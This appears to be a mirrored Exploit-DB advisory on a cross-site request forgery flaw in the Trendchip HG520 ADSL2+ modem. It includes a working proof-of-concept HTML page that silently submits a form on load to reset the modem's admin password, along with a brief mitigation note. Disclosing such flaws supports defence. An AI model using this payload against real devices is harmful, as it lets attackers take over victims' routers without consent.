Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability

vendor:

HG520 ADSL2+ Wireless Modem

by:

Dhruv Shah

8,8

CVSS

HIGH

Cross Site Request Forgery

352

CWE

Product Name: HG520 ADSL2+ Wireless Modem

Affected Version From: Firmware Version:2.11.38.0(RE0.C2B)3.9.9.5

Affected Version To: Firmware Version:2.11.38.0(RE0.C2B)3.9.9.5

Patch Exists: NO

Related CWE: N/A

CPE: h:trendchip:hg520_adsl2_plus_wireless_modem

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Embedded Allegro RomPager webserver 4.07 UPnP/1.0 (ZyXEL ZyWALL 2)

2014

Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability

This Modem's Web Application , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url. The Modems's Application not using any security token to prevent it against CSRF. You can manipulate any userdata. PoC and Exploit to change user password: In the POC the IP address in the POST is the modems IP address.

Mitigation:

Implementing security tokens to prevent CSRF attacks.

Source

Exploit-DB raw data:

########################################################################

# Exploit Title: Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability
# Google Dork: N/A
# Date: 15/02/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage: N/A
# Software Link : N/A
# Version: Firmware Version:2.11.38.0(RE0.C2B)3.9.9.5
# Tested on: Embedded Allegro RomPager webserver 4.07 UPnP/1.0 (ZyXEL
ZyWALL 2)

# Type of Application : Modem Web Application
# CVE : N/A

########################################################################

Cross Site Request Forgery



This Modem's Web Application , suffers from Cross-site request forgery
through which attacker can manipulate user data via sending him malicious
craft url.



The Modems's Application  not using any security token to prevent it
against CSRF. You can manipulate any userdata. PoC and Exploit to change
user password:

 In the POC the IP address in the POST is the modems IP address.

<html>

<body onload="javascript:document.forms[0].submit()">

<form method="POST" action="http://192.168.2.1/Forms/tools_admin_1"
name="tool_admin">

<input name="uiViewTools_Password" size="30" maxlength="30" value="admin"
type="PASSWORD">

<input name="uiViewTools_PasswordConfirm" size="30" maxlength="30"
value="admin" type="PASSWORD">

</form>

</body>

</html>





______________________

*Dhruv Shah* *aka Snypter*
http://security-geek.in/blog/
Blogger | Researcher | Consultant | Writer
Youtube <http://www.youtube.com/snypter> |
Facebook<http://www.facebook.com/dhruvshahs>|
Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> |
Twitter<https://twitter.com/Snypter>|
Blog <http://security-geek.in/blog/>